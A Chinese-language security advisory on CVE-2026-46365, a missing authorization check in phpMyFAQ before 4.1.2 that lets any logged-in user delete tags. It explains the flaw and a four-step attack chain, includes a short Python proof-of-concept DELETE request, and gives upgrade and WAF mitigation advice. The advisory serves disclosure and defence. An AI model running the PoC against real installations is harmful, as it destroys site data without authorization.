IPBUF安全漏洞报告
English
CVE-2026-46365 CVSS 5.4 中危

CVE-2026-46365 phpMyFAQ标签删除权限缺失漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46365
漏洞类型
权限缺失
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

权限缺失越权漏洞phpMyFAQAPI安全CVE-2026-46365

漏洞概述

phpMyFAQ 4.1.2 之前的版本存在安全漏洞。在 /admin/api/content/tags/{tagId} 端点中,由于缺乏必要的授权检查,任何经过身份验证的用户(包括普通前端用户)都可以发送带有有效会话 Cookie 的 DELETE 请求来删除任意标签。这会导致数据的永久丢失,并扰乱 FAQ 的组织结构,造成系统完整性和可用性的破坏。

技术细节

该漏洞源于 phpMyFAQ 的后端 API 实现中存在逻辑缺陷。虽然受影响的 API 端点路径包含 /admin/,暗示其应仅限管理员访问,但服务器端代码在处理 DELETE 请求时未验证用户角色。攻击者只需拥有一个有效的低权限账号(如普通注册用户),即可获取合法的会话 Cookie。利用此 Cookie 构造针对特定标签 ID 的 HTTP DELETE 请求,服务器会直接执行删除操作而忽略权限边界。这是一种典型的越权漏洞(IDOR/BOLA),利用了业务逻辑层面的访问控制缺失。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行 phpMyFAQ 版本低于 4.1.2。
STEP 2
2. 获取凭证
攻击者注册一个普通用户账号或使用现有的低权限账号登录,获取有效的 Session Cookie。
STEP 3
3. 发起攻击
攻击者使用该 Session Cookie 构造并向 /admin/api/content/tags/{tagId} 发送 HTTP DELETE 请求。
STEP 4
4. 造成影响
服务器因未校验权限直接执行删除操作,导致指定标签被永久删除,破坏内容组织。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable endpoint # Replace {target} with the actual domain and {tagId} with the target tag ID target_url = "http://{target}/admin/api/content/tags/{tagId}" # Valid session cookie obtained after logging in as a regular user # This simulates the low-privilege authentication requirement (PR:L) cookies = { "phpMyFAQ_Session": "valid_user_session_cookie_value" } headers = { "User-Agent": "Mozilla/5.0 (Vulnerability-Scanner)" } try: # Send DELETE request to exploit the missing authorization response = requests.delete(target_url, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Tag deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
建议立即升级到修复版本。若暂时无法升级,应在 Web 服务器(如 Nginx、Apache)配置规则,拦截对 /admin/api 路径的请求,仅允许内网管理 IP 访问,或通过 WAF 添加规则检测针对该端点的 DELETE 请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表